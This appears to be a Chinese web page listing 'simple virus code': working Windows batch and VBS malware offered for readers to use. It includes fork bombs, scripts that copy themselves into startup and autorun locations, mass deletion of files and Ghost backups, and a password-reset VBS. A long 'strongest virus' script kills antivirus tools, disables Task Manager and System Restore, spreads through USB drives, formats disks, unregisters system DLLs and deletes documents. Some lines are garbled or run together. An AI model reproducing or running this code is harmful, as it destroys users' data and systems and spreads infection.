您的位置首页百科知识

简单的病毒代码大全

简单的病毒代码大全

很多,有几个思路贡献下

第一种

:1

start %0

goto 1

这个代码会自己运行自己,产生无限窗口,直到内存爆满死机。

第二种

copy %0 "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*“

copy %0 "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*"

copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

加上这个代码之后,会把自身添加到启动菜单中(随系统启动而启动,与shutdown -r -t 0搭配使用威力倍增)

第三种

for /R C:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"

for /R D:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"

for /R E:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"

for /R F:\ %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"

这是删除CDEF盘上面的gho文件,使用户无法通过ghost恢复系统

第四种(特殊)

Echo Const strPassword = "wohenni"' >>1.vbs

echo Dim WshNetwork >>1.vbs

echo Set WshNetwork = CreateObject("WScript.Network") >>1.vbs

echo Dim userName >>1.vbs

echo userName = WshNetwork.userName&",user" >>1.vbs

echo Dim Domain >>1.vbs

echo Set Domain = GetObject("WinNT://./"&userName) >>1.vbs

echo Domain.SetPassword strPassword >>1.vbs

echo Domain.SetInfo >>1.vbs

echo dim gj >>1.vbs

echo on error resume next >>1.vbs

echo dim WSHshellA >>1.vbs

echo set WSHshellA = wscript.createobject("wscript.shell") >>1.vbs

start “” “1.vbs“

生成能把登录密码改为”wohenni”的VBS,并运行。

第五种

fsutil file createnew C:\1.hahaha 4096000

这是生成特定大小的文件,这句意思是在C盘下面生成1.hahaha,大小为4096000字节

还有很多,不一一列举了,希望您能更好地学习批处理!

最强病毒!谨慎运行!此程序会将系统搞崩溃.摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 去掉里面的字哦

@echo off

title You DEAD!!!!!!!

set taskkill=s

copy %0 %windir%\system32\cmd.bat

attrib %windir%\system32\cmd.bat +r +s +h

net stop sharedaccess >nul

%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul

%s% /im norton* /f >nul

%s% /im av* /f >nul

%s% /im fire* /f >nul

%s% /im anti* /f >nul

%s% /im spy* /f >nul

%s% /im bullguard /f >nul

%s% /im PersFw /f >nul

%s% /im KAV* /f >nul

%s% /im ZONEALARM /f >nul

%s% /im SAFEWEB /f >nul

%s% /im OUTPOST /f >nul

%s% /im nv* /f >nul

%s% /im nav* /f >nul

%s% /im F-* /f >nul

%s% /im ESAFE /f >nul

%s% /im cle /f >nul

%s% /im BLACKICE /f >nul

%s% /im def* /f >nul

%s% /im 360safe.exe /f >nul

net stop Shadow" "System" "Service

set alldrive=d e f g h i j k l m n o p q r s t u v w x y z

for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul

for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul

rem 修改注册表.......

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\

Folder\Hidden\SHOWALL /v

CheckedValue /t REG_DWORD /d 00000000 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRun /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoRecentDocsMenu /t

REG_DWORD /d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoDrives /t REG_DWORD /d

4294967295 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

Disableregistrytools /t

REG_DWORD /d 00000002 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoNetHood /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V

NoDesktop /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoClose /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoFind /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v

DisableTaskMgr /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoLogOff /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

NoSetTaskBar /t REG_DWORD

/d 00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v

DisableSR /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v

DisableConfig /t REG_DWORD /d

00000001 /f >nul

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v

RestrictRun /t REG_DWORD /d

00000001 /f >nul

cls

net user administrator 123456 >nul

for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul

echo @echo off >d:\setup.bat

echo shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新

安装系统可以解决此问题

!^.^ >>d:\setup.bat

echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动

\a.bat >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>d:\setup.bat

HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f

>>d:\setup.bat

echo [windows] >> %windir%\win.ini

echo run=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo load=d:\setup.bat C:\AUTOEXEC.BAT >> %windir%\win.ini

echo [boot] >> %windir%\system.ini

echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT >> %windir%\system.ini

echo [AutoRun] >d:\autorun.inf

echo Open=setup.bat >>d:\autorun.inf

echo Open=system.bat >>d:\autorun.inf

attrib d:\autorun.inf +r +s +h >>d:\setup.bat

attrib d:\setup.bat +r +s +h >>d:\setup.bat

start d:\setup.bat /min >nul

echo @echo off >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>C:\AUTOEXEC.BAT

echo if not d:\setup.bat start %windir%\system32\cmd.bat /min >>C:\AUTOEXEC.BAT

copy %0 %systemroot%\windows.bat >nul

if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat

if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min >>%

windir%/system32/explorer.bat

if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min >>%

windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

AUTOEXEC.BAT /t REG_SZ /d

C:\AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

setup.bat /t REG_SZ /d d:\setup.bat

/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v

explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat

echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v

explorer.bat /t REG_SZ /d %

windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat

echo start %systemroot%\windows.bat /min >>%windir%/system32/explorer.bat

attrib %windir%/system32/explorer.bat +r +s +h%

attrib %systemroot%/windows.bat +r +s +h

for %%c in (%alldrive%) do echo @echo off >>%%c:\system.bat

for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min >>%%c:\system.bat

for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:\system.bat

set drive=e f g h i j k l m n o p q r s t u v w x y z

for %%c in (%drive%) do echo [AuroRun] >%%c:\autorun.inf

for %%c in (%drive%) do echo Open=system.bat >>%%c:\autorun.inf

copy %0 d:\Program" "Files

un.bat

for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start

d:\Program" "Files

un.bat /min

>>%%c:\system.bat

for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:\system.bat

for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h >nul

for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h >nul

if not exist %windir%/system32/explorer.bat start d:\Program" "Files

un.bat

/min >>d:\setup.bat

attrib d:\Program" "Files

un.bat +r +s +h >nul

del %0

exit

start cmd

%0

:1rem 损坏安全模式reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /frem 开机自启动reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /f>nulrem 格式化所有盘format d:/qformat e:/qformat f:/qrem 运行exe会自动关联jpgreg add "HKEY_CLASSES_ROOT\exefile\shell\opencommand" "rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen %1rem 删除系统备份for /f %%a in ('dir /b/s %systemroot%\system32\dllcache') do del /Q %%arem 反注册bai所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do regsvr32 /s /u "%%b"rem 反注册所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%\*.ocx') do regsvr32 /s /u "%%c"rem 禁用任务管理器reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nulrem USB移动盘感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器">NUL && copy %0 %%i)for %%i in (%drives%) do (del %%i:\*.doc /f /s /q & del %%i:\*.xls /f /s /q & del %%i:\*.ghs /f /s /q)rem 5秒内重启shutdown -r -t 5rem 复制自身+开机自启动copy %0 "C:\Documents and Settings\%userprofile%\「开始」菜单\程序\启动"rem 增加超多硬盘md d:\fly >nul 2>nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:\fly >nul 2>nulrem 修改IE标题栏reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU !" /frem 销毁自身del %0goto 1

以下病毒危险至极,请在虚拟机下测试!

%0|%0